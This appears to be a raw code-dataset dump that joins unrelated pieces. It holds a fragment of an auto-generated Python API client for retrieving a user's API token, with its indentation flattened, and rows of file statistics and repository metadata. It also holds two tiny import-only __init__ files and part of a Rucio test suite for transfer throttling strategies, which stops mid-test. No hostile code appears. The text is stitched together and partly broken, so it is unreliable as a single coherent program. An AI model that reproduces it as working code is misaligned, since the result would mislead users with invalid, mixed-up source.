Retrieve the API key/token for the authenticated user.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.user_token_create(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param UserTokenCreate data:
:return: UserAuthToken
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.user_token_create_with_http_info(**kwargs)
else:
(data) = self.user_token_create_with_http_info(**kwargs)
return data
def user_token_create_with_http_info(self, **kwargs):
"""
Retrieve the API key/token for the authenticated user.
Retrieve the API key/token for the authenticated user.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.user_token_create_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param UserTokenCreate data:
:return: UserAuthToken
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['data']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method user_token_create" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in params:
body_params = params['data']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json'])
# Authentication setting
auth_settings = ['apikey']
return self.api_client.call_api('/user/token/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='UserAuthToken',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 36.818182
| 100
| 0.557084
| 854
| 8,505
| 5.322014
| 0.174473
| 0.070407
| 0.024642
| 0.031683
| 0.842904
| 0.828823
| 0.823762
| 0.805281
| 0.770077
| 0.770077
| 0
| 0.000744
| 0.368136
| 8,505
| 230
| 101
| 36.978261
| 0.844994
| 0.345797
| 0
| 0.657407
| 1
| 0
| 0.112738
| 0.026479
| 0
| 0
| 0
| 0
| 0
| 1
| 0.046296
| false
| 0
| 0.064815
| 0
| 0.175926
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b862e1168c0790c7bf4bb75705f34a6d00b40149
| 191
|
py
|
Python
|
Trakttv.bundle/Contents/Libraries/Shared/plugin/modules/scheduler/handlers/__init__.py
|
disrupted/Trakttv.bundle
|
24712216c71f3b22fd58cb5dd89dad5bb798ed60
|
[
"RSA-MD"
] | 1,346
|
2015-01-01T14:52:24.000Z
|
2022-03-28T12:50:48.000Z
|
Trakttv.bundle/Contents/Libraries/Shared/plugin/modules/scheduler/handlers/__init__.py
|
alcroito/Plex-Trakt-Scrobbler
|
4f83fb0860dcb91f860d7c11bc7df568913c82a6
|
[
"RSA-MD"
] | 474
|
2015-01-01T10:27:46.000Z
|
2022-03-21T12:26:16.000Z
|
Trakttv.bundle/Contents/Libraries/Shared/plugin/modules/scheduler/handlers/__init__.py
|
alcroito/Plex-Trakt-Scrobbler
|
4f83fb0860dcb91f860d7c11bc7df568913c82a6
|
[
"RSA-MD"
] | 191
|
2015-01-02T18:27:22.000Z
|
2022-03-29T10:49:48.000Z
|
from plugin.modules.scheduler.handlers.h_backup.maintenance_interval import BackupMaintenanceIntervalHandler
from plugin.modules.scheduler.handlers.h_sync.interval import SyncIntervalHandler
| 63.666667
| 108
| 0.905759
| 21
| 191
| 8.095238
| 0.619048
| 0.117647
| 0.2
| 0.305882
| 0.411765
| 0.411765
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041885
| 191
| 2
| 109
| 95.5
| 0.928962
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b897c8fe42495bef1bc6627e8b6046aa972b0102
| 42
|
py
|
Python
|
api/data/__init__.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | 1
|
2022-03-03T09:55:57.000Z
|
2022-03-03T09:55:57.000Z
|
api/data/__init__.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | 7
|
2022-02-09T10:44:53.000Z
|
2022-03-28T03:29:43.000Z
|
api/data/__init__.py
|
matchd-ch/matchd-backend
|
84be4aab1b4708cae50a8988301b15df877c8db0
|
[
"Apache-2.0"
] | null | null | null |
from .zip_city import zip_city_datasource
| 21
| 41
| 0.880952
| 7
| 42
| 4.857143
| 0.714286
| 0.411765
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095238
| 42
| 1
| 42
| 42
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
b8aed04525c448a297ce16fa201a4a004edcfd12
| 99,055
|
py
|
Python
|
lib/rucio/tests/test_throttler.py
|
abhijeetsharma200/rucio
|
02de234f82fa314988d2a16e7bf27077718e32ac
|
[
"Apache-2.0"
] | null | null | null |
lib/rucio/tests/test_throttler.py
|
abhijeetsharma200/rucio
|
02de234f82fa314988d2a16e7bf27077718e32ac
|
[
"Apache-2.0"
] | null | null | null |
lib/rucio/tests/test_throttler.py
|
abhijeetsharma200/rucio
|
02de234f82fa314988d2a16e7bf27077718e32ac
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright 2019-2021 CERN
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# - Hannes Hansen <hannes.jakob.hansen@cern.ch>, 2019
# - Andrew Lister <andrew.lister@stfc.ac.uk>, 2019
# - Eli Chadwick <eli.chadwick@stfc.ac.uk>, 2020
# - Patrick Austin <patrick.austin@stfc.ac.uk>, 2020
# - Benedikt Ziemons <benedikt.ziemons@cern.ch>, 2020-2021
import unittest
from datetime import datetime, timedelta
import pytest
from rucio.common.config import config_get, config_get_bool, config_set, config_remove_option
from rucio.common.types import InternalAccount, InternalScope
from rucio.common.utils import generate_uuid
from rucio.core.did import attach_dids, add_did
from rucio.core.replica import add_replica
from rucio.core.request import queue_requests, get_request_by_did, release_waiting_requests_per_deadline, release_all_waiting_requests, release_waiting_requests_fifo, release_waiting_requests_grouped_fifo, release_waiting_requests_per_free_volume
from rucio.core.rse import get_rse_id, set_rse_transfer_limits
from rucio.daemons.conveyor import throttler, preparer
from rucio.db.sqla import session, models
from rucio.db.sqla.constants import DIDType, RequestType, RequestState
from rucio.tests.common import skiplimitedsql
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'DEST_PER_ALL_ACT')]
}], indirect=True)
class TestThrottlerGroupedFIFO(unittest.TestCase):
"""Throttler per destination RSE and on all activites per grouped FIFO
"""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.source_rse = 'MOCK4'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
def test_preparer_throttler_grouped_fifo_all(self):
""" THROTTLER (CLIENTS): throttler release all waiting requests (DEST - ALL ACT - GFIFO). """
# no threshold when releasing -> release all waiting requests
set_rse_transfer_limits(self.dest_rse_id, max_transfers=1, activity=self.all_activities, strategy='grouped_fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 3,
'requested_at': datetime.now().replace(year=2021), # requested after the request below but small enough for max_volume check
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 3000,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3000,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request_1['state'] == RequestState.WAITING
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request_2['state'] == RequestState.WAITING
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id)
assert request_4['state'] == RequestState.WAITING
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request_1['state'] == RequestState.QUEUED
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request_2['state'] == RequestState.QUEUED
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id)
assert request_3['state'] == RequestState.QUEUED
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id)
assert request_4['state'] == RequestState.QUEUED
def test_throttler_grouped_fifo_nothing(self):
""" THROTTLER (CLIENTS): throttler release nothing (DEST - ALL ACT - GFIFO). """
# four waiting requests and one active requests but threshold is 1
# more than 80% of the transfer limit are already used -> release nothing
set_rse_transfer_limits(self.dest_rse_id, max_transfers=1, activity=self.all_activities, strategy='grouped_fifo', session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, bytes=2, activity=self.user_activity, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 3,
'requested_at': datetime.now().replace(year=2021), # requested after the request below but small enough for max_volume check
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 3000,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3000,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request_1['state'] == RequestState.WAITING
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request_2['state'] == RequestState.WAITING
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id)
assert request_3['state'] == RequestState.WAITING
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id)
assert request_4['state'] == RequestState.WAITING
@skiplimitedsql
def test_throttler_grouped_fifo_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (DEST - ALL ACT - GFIFO). """
set_rse_transfer_limits(self.dest_rse_id, self.all_activities, volume=10, max_transfers=1, deadline=1, strategy='grouped_fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
name4 = generate_uuid()
dataset_1_name = generate_uuid()
add_did(self.scope, dataset_1_name, DIDType.DATASET, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name3, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name4, 1, self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name1, 'scope': self.scope}], self.account, session=self.db_session)
attach_dids(self.scope, dataset_1_name, [{'name': name2, 'scope': self.scope}], self.account, session=self.db_session)
requests = [{
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'bytes': 1,
'scope': self.scope,
'retry_count': 1,
'rule_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2000),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name2,
'bytes': 2,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 2,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name3,
'bytes': 3,
'requested_at': datetime.now().replace(year=2021), # requested after the request below but small enough for max_volume check
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3,
'md5': '',
'adler32': ''
}
}, {
'source_rse_id': self.source_rse_id,
'dest_rse_id': self.dest_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name4,
'bytes': 3000,
'requested_at': datetime.now().replace(year=2020),
'rule_id': generate_uuid(),
'scope': self.scope,
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 3000,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
# released because it got requested first
request_1 = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request_1['state'] == RequestState.QUEUED
# released because the DID is attached to the same dataset
request_2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request_2['state'] == RequestState.QUEUED
# released because of available volume
request_3 = get_request_by_did(self.scope, name3, self.dest_rse_id)
assert request_3['state'] == RequestState.QUEUED
# still waiting because there is no free volume
request_4 = get_request_by_did(self.scope, name4, self.dest_rse_id)
assert request_4['state'] == RequestState.WAITING
# deadline check should not work for destination RSEs - only for reading
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'DEST_PER_ACT')]
}], indirect=True)
class TestThrottlerFIFO(unittest.TestCase):
"""Throttler per destination RSE and on each activites per FIFO
"""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.source_rse = 'MOCK4'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
def test_throttler_fifo_release_all(self):
""" THROTTLER (CLIENTS): throttler release all waiting requests (DEST - ACT - FIFO). """
if self.dialect == 'mysql':
return True
# no threshold -> release all waiting requests
set_rse_transfer_limits(self.dest_rse_id, max_transfers=1, activity=self.all_activities, strategy='fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request2['state'] == RequestState.QUEUED
# active transfers + waiting requests are less than the threshold -> release all waiting requests
self.db_session.query(models.Request).delete()
self.db_session.commit()
name1 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
set_rse_transfer_limits(self.dest_rse_id, activity=self.user_activity, max_transfers=3, strategy='fifo', session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, activity=self.user_activity, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
def test_throttler_fifo_release_nothing(self):
""" THROTTLER (CLIENTS): throttler release nothing (DEST - ACT - FIFO). """
if self.dialect == 'mysql':
return True
# two waiting requests and one active requests but threshold is 1
# more than 80% of the transfer limit are already used -> release nothing
set_rse_transfer_limits(self.dest_rse_id, max_transfers=1, activity=self.user_activity, strategy='fifo', session=self.db_session)
request = models.Request(dest_rse_id=self.dest_rse_id, bytes=2, activity=self.user_activity, state=RequestState.SUBMITTED)
request.save(session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.WAITING
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request2['state'] == RequestState.WAITING
def test_throttler_fifo_release_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (DEST - ACT - FIFO). """
if self.dialect == 'mysql':
return True
# two waiting requests and no active requests but threshold is 1 -> release only 1 request
set_rse_transfer_limits(self.dest_rse_id, activity=self.user_activity, max_transfers=1, strategy='fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
requests = [{
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'name': name1,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'requested_at': datetime.now().replace(year=2018),
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}, {
'dest_rse_id': self.dest_rse_id,
'source_rse_id': self.source_rse_id,
'request_type': RequestType.TRANSFER,
'request_id': generate_uuid(),
'requested_at': datetime.now().replace(year=2020),
'name': name2,
'account': self.account,
'scope': self.scope,
'rule_id': generate_uuid(),
'retry_count': 1,
'attributes': {
'activity': self.user_activity,
'bytes': 1,
'md5': '',
'adler32': ''
}
}]
queue_requests(requests, session=self.db_session)
self.db_session.commit()
preparer.run_once(session=self.db_session, logger=print)
self.db_session.commit()
throttler.run_once(logger=print, session=self.db_session)
self.db_session.commit()
request = get_request_by_did(self.scope, name1, self.dest_rse_id)
assert request['state'] == RequestState.QUEUED
request2 = get_request_by_did(self.scope, name2, self.dest_rse_id)
assert request2['state'] == RequestState.WAITING
@pytest.mark.dirty
@pytest.mark.noparallel(reason='deletes database content on setUp, uses pre-defined rses, changes global configuration value')
@pytest.mark.usefixtures("core_config_mock")
@pytest.mark.parametrize("core_config_mock", [{
"table_content": [('throttler', 'mode', 'SRC_PER_ACT')]
}], indirect=True)
class TestThrottlerFIFOSRCACT(unittest.TestCase):
"""Throttler per source RSE and on each activites per FIFO."""
db_session = None
@classmethod
def setUpClass(cls):
if config_get_bool('common', 'multi_vo', raise_exception=False, default=False):
cls.vo = {'vo': config_get('client', 'vo', raise_exception=False, default='tst')}
else:
cls.vo = {}
cls.dest_rse = 'MOCK'
cls.dest_rse2 = 'MOCK5'
cls.dest_rse3 = 'MOCK3'
cls.source_rse = 'MOCK4'
cls.dest_rse_id = get_rse_id(cls.dest_rse, **cls.vo)
cls.dest_rse_id2 = get_rse_id(cls.dest_rse2, **cls.vo)
cls.dest_rse_id3 = get_rse_id(cls.dest_rse3, **cls.vo)
cls.source_rse_id = get_rse_id(cls.source_rse, **cls.vo)
cls.scope = InternalScope('mock', **cls.vo)
cls.account = InternalAccount('root', **cls.vo)
cls.user_activity = 'User Subscription'
cls.user_activity2 = 'User Subscription2'
cls.all_activities = 'all_activities'
config_set('conveyor', 'use_preparer', 'true')
def setUp(self):
self.db_session = session.get_session()
self.dialect = self.db_session.bind.dialect.name
self.db_session.query(models.Request).delete()
self.db_session.query(models.RSETransferLimit).delete()
self.db_session.commit()
def tearDown(self):
self.db_session.commit()
self.db_session.close()
@classmethod
def tearDownClass(cls):
config_remove_option('conveyor', 'use_preparer')
def test_throttler_fifo_release_subset(self):
""" THROTTLER (CLIENTS): throttler release subset of waiting requests (SRC - ACT - FIFO). """
if self.dialect == 'mysql':
return True
# two waiting requests and no active requests but threshold is 1 for one activity
# one waiting request and no active requests but threshold is 0 for other activity -> release only 1 request for one activity
set_rse_transfer_limits(self.source_rse_id, activity=self.user_activity, max_transfers=1, strategy='fifo', session=self.db_session)
set_rse_transfer_limits(self.source_rse_id, activity=self.user_activity2, max_transfers=0, strategy='fifo', session=self.db_session)
name1 = generate_uuid()
name2 = generate_uuid()
name3 = generate_uuid()
add_replica(self.source_rse_id, self.scope, name1, 1, self.account, session=self.db_session)
add_replica(self.source_rse_id, self.scope, name2, 1, self.account, session=self.db_session)
